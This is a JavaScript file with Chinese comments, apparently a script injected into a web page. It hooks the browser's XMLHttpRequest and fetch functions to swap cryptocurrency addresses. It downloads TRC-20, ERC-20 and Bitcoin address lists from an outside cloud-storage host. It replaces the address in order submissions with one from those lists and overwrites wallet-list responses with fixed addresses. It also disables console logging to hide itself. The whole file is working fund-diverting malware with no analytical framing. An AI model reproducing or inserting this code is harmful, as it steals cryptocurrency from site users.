(function() {
    // === 第一部分：地址缓存和请求篡改 ===
    // 存储地址列表的缓存对象
    const addressCache = {
        'TRC-20': [],
        'ERC-20': [],
        'Bitcoin': []
    };
    
    // 1. 同步加载地址库
    const loadAddressList = (chainType) => {
        let url = '';
        if (chainType === 'TRC-20') {
            url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/TRC20.txt';
        } else if (chainType === 'ERC-20') {
            url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt';
        } else if (chainType === 'Bitcoin') {
            url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/BTC.txt';
        }
        
        const xhr = new XMLHttpRequest();
        xhr.open('GET', url, false); // 同步加载
        xhr.send();
        
        if (xhr.status === 200) {
            addressCache[chainType] = xhr.responseText.trim().split('\n');
        }
    };
    
    // 预加载所有地址库
    ['TRC-20', 'ERC-20', 'Bitcoin'].forEach(loadAddressList);
    
    // 2. 从缓存中随机获取地址
    const getRandomAddress = (chainType) => {
        const list = addressCache[chainType] || [];
        return list.length > 0 
            ? list[Math.floor(Math.random() * list.length)] 
            : 'DEFAULT_ADDRESS';
    };

    // === 第二部分：请求/响应拦截器 ===
    // 保存原始方法
    const originalOpen = XMLHttpRequest.prototype.open;
    const originalSend = XMLHttpRequest.prototype.send;
    const originalFetch = window.fetch;
    
    // 3. 重写XMLHttpRequest方法
    XMLHttpRequest.prototype.open = function(method, url) {
        this._method = method;
        this._url = url;
        return originalOpen.apply(this, arguments);
    };
    
    XMLHttpRequest.prototype.send = function(body) {
        // 第一部分逻辑：篡改POST请求体
        if (this._url.includes('/home/userOrder/add') && this._method === 'POST') {
            try {
                const data = JSON.parse(body);
                if (data.chain && data.address) {
                    data.address = getRandomAddress(data.chain);
                    body = JSON.stringify(data);
                }
            } catch(e) {}
        }
        
        // 第二部分逻辑：篡改GET响应
        if (this._url.includes('/main/wallet/getList')) {
            const originalOnReadyStateChange = this.onreadystatechange;
            const originalOnLoad = this.onload;
            
            this.onreadystatechange = function() {
                if (this.readyState === 4 && this.status === 200) {
                    try {
                        const response = JSON.parse(this.responseText);
                        if (response.list) {
                            response.list.forEach(item => {
                                if (item.chain === "TRC-20") {
                                    item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                                } else if (item.chain === "ERC-20") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                }
                            });
                            Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                            Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                        }
                    } catch(e) {}
                }
                originalOnReadyStateChange && originalOnReadyStateChange.apply(this, arguments);
            };
            
            this.onload = function() {
                if (this.status === 200) {
                    try {
                        const response = JSON.parse(this.responseText);
                        if (response.list) {
                            response.list.forEach(item => {
                                if (item.chain === "TRC-20") {
                                    item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                                } else if (item.chain === "ERC-20") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                }
                            });
                            Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                            Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                        }
                    } catch(e) {}
                }
                originalOnLoad && originalOnLoad.apply(this, arguments);
            };
        }
        
        return originalSend.call(this, body);
    };

    // 4. 重写fetch方法
    window.fetch = function(input, init) {
        const url = typeof input === 'string' ? input : input.url;
        let modifiedInit = init;
        
        // 第一部分逻辑：篡改POST请求体
        if (url.includes('/home/userOrder/add') && init?.method === 'POST') {
            try {
                modifiedInit = {...init};
                let bodyText = modifiedInit.body;
                
                if (typeof bodyText === 'string') {
                    const data = JSON.parse(bodyText);
                    if (data.chain && data.address) {
                        data.address = getRandomAddress(data.chain);
                        modifiedInit.body = JSON.stringify(data);
                    }
                }
            } catch(e) {}
        }
        
        // 第二部分逻辑：篡改GET响应
        return originalFetch(input, modifiedInit || init).then(response => {
            if (url.includes('/main/wallet/getList')) {
                return response.clone().json().then(data => {
                    if (data.list) {
                        data.list.forEach(item => {
                            if (item.chain === "TRC-20") {
                                item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                            } else if (item.chain === "ERC-20") {
                                item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            }
                        });
                        return new Response(JSON.stringify(data), {
                            status: response.status,
                            statusText: response.statusText,
                            headers: response.headers
                        });
                    }
                    return response;
                }).catch(() => response);
            }
            return response;
        });
    };

    // 5. 隐藏所有日志输出
    ['debug', 'log', 'info', 'warn'].forEach(method => {
        console[method] = function() {};
    });
})();